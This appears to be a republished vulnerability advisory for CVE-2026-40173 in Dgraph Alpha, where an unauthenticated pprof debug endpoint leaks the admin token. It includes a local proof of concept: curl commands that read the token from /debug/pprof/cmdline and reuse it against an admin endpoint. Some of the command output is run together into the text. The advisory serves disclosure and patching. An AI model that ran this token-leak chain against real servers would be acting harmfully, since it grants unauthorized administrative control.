Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints
An unauthenticated debug endpoint in Dgraph Alpha exposes the full process command line, including the configured admin token from --security "token=...".
This does not break token validation logic directly; instead, it discloses the credential and enables unauthorized admin-level access by reusing the leaked token in X-Dgraph-AuthToken.
The behavior occurs entirely within core Alpha HTTP routing and does not require any external proxy, plugin, or non-core integration.
The core issue is not that admin token protection is absent, but that the protected secret is exposed in cleartext through an unauthenticated core debug endpoint.
Relevant code paths:
dgraph/cmd/alpha/run.go:17 imports net/http/pprof, which registers /debug/pprof/* handlers on the default mux.dgraph/cmd/alpha/run.go:533 uses http.Handle("/", audit.AuditRequestHttp(baseMux)), so default-mux handlers remain reachable.dgraph/cmd/alpha/admin.go:52 enforces admin token checks in adminAuthHandler for admin endpoints.dgraph/cmd/alpha/admin.go:74 shows /admin/config/cache_mb behind adminAuthHandler.Credential-exposure chain:
1. /debug/pprof/cmdline is reachable without authentication.
2. Its output includes the configured admin token from process arguments.
3. The disclosed token is accepted by adminAuthHandler when sent as X-Dgraph-AuthToken.
4. An attacker gains unauthorized access to admin-only functionality.
Observed local evidence (safe validation):
GET /admin/config/cache_mb without tokenInvalid X-Dgraph-AuthTokenGET /debug/pprof/cmdline without token--security=token=TopSecretToken123;GET /admin/config/cache_mb with X-Dgraph-AuthToken: TopSecretToken1234096Important policy/triage clarification:
mainb15c87e93v25.3.1Preconditions:
--security "token=..."./debug/pprof/* is exposed on the same Alpha HTTP listener.Reproduction steps:
1. Start Zero and Alpha (example local setup):
dgraph zero --my=127.0.0.1:5280 --port_offset=200 --bindall=false --wal=./zwdgraph alpha --my=127.0.0.1:7280 --zero=127.0.0.1:5280 --port_offset=200 --bindall=false --security "token=TopSecretToken123;" --postings=./p --wal=./w --tmp=./t2. Verify admin endpoint rejects unauthenticated request:
curl -i http://127.0.0.1:8280/admin/config/cache_mbInvalid X-Dgraph-AuthToken.3. Read token from unauthenticated debug endpoint:
curl -s http://127.0.0.1:8280/debug/pprof/cmdline--security=token=TopSecretToken123;.4. Reuse leaked token against admin endpoint:
curl -i -H "X-Dgraph-AuthToken: TopSecretToken123" http://127.0.0.1:8280/admin/config/cache_mb4096).Note: The PoC uses 127.0.0.1 only for safe local validation. The vulnerable condition is unauthenticated reachability of /debug/pprof/cmdline; in any deployment where Alpha HTTP is reachable by untrusted parties, the same token disclosure and subsequent unauthorized admin access apply.
The attack requires network reachability to the Alpha HTTP port. In deployments where this interface is exposed beyond trusted boundaries, the issue is remotely exploitable without authentication.
Depending on exposed admin functionality in deployment policy, this may allow configuration changes, operational control actions, and other privileged administrative operations exposed through /admin/*.
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CVE-2026-40173 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.
CVE-2026-40173 is recorded against 5 packages.
Published on 15 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
github.com
github.com
github.com
dgraph has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-200: Exposure of Sensitive Information) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| dgraph | — | 25.3.2 |
| github.com/dgraph-io/dgraph | — | — |
| github.com/dgraph-io/dgraph/v24 | — | — |
| github.com/dgraph-io/dgraph/v25 | — | — |
| github.com/hypermodeinc/dgraph/v24 | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-40173 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-40173 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.